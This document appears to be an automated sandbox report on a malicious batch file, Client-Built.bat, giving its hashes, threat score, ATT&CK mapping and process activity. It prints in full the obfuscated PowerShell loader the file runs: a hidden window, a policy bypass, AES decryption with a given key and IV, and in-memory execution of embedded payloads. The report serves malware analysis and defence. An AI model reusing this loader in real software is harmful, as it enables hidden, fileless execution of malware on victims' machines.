53666bd18a4e85ff72aac790ea41f603e3d0ce78d12a22bfcdb2e46d1f1d4afd

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19-10-2024 18:25

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General

Target

Client-Built.bat
Size

309KB
MD5

779ea367cf71bed6a1f3b78a48d7c3fd
SHA1

a8a6caee309e724367a686ab9da2a65f3522eba0
SHA256

53666bd18a4e85ff72aac790ea41f603e3d0ce78d12a22bfcdb2e46d1f1d4afd
SHA512

8e54f78210ec383fd24e2fe0bc0beb2d0aad0536443fe88e5f8f10959913bd66000d6448219f3137589c707c85a5e3cac3b03d6fb68cc942543ee51f1e5faa94
SSDEEP

6144:L3pboxHrffvx5qjFakMpbeZuwRLfktxH44ScYQafuqzyFhSd90:LxOrfOupiRLQScYLfuDFs90

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2756 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1892 cmd.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2756 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2756 powershell.exe

pid	process
2756	powershell.exe

pid	process
1892	cmd.exe

pid	process
2756	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2756	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exenet.exe

description	pid	process	target process
PID 1892 wrote to memory of 2612	1892	cmd.exe	net.exe
PID 1892 wrote to memory of 2612	1892	cmd.exe	net.exe
PID 1892 wrote to memory of 2612	1892	cmd.exe	net.exe
PID 2612 wrote to memory of 2648	2612	net.exe	net1.exe
PID 2612 wrote to memory of 2648	2612	net.exe	net1.exe
PID 2612 wrote to memory of 2648	2612	net.exe	net1.exe
PID 1892 wrote to memory of 2756	1892	cmd.exe	powershell.exe
PID 1892 wrote to memory of 2756	1892	cmd.exe	powershell.exe
PID 1892 wrote to memory of 2756	1892	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Client-Built.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1892

C:\Windows\system32\net.exe
net file
2⤵
- Suspicious use of WriteProcessMemory
PID:2612

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
3⤵
PID:2648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yhQ3heawMyvGHcN/HVfcC9bTWPMTkS0JHj1mcOoLd0g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3EOLjVuYmh+6EyzRS0NrQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vXQbB=New-Object System.IO.MemoryStream(,$param_var); $AUvTu=New-Object System.IO.MemoryStream; $tCRmZ=New-Object System.IO.Compression.GZipStream($vXQbB, [IO.Compression.CompressionMode]::Decompress); $tCRmZ.CopyTo($AUvTu); $tCRmZ.Dispose(); $vXQbB.Dispose(); $AUvTu.Dispose(); $AUvTu.ToArray();}function execute_function($param_var,$param2_var){ $oYOpP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $FcSFc=$oYOpP.EntryPoint; $FcSFc.Invoke($null, $param2_var);}$lXRaI = 'C:\Users\Admin\AppData\Local\Temp\Client-Built.bat';$host.UI.RawUI.WindowTitle = $lXRaI;$enbFg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($lXRaI).Split([Environment]::NewLine);foreach ($huNIz in $enbFg) { if ($huNIz.StartsWith(':: ')) { $GZJMV=$huNIz.Substring(3); break; }}$payloads_var=[string[]]$GZJMV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2756-4-0x000007FEF537E000-0x000007FEF537F000-memory.dmp

Filesize
4KB

Download
memory/2756-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2756-7-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-9-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-8-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-6-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2756-10-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-11-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download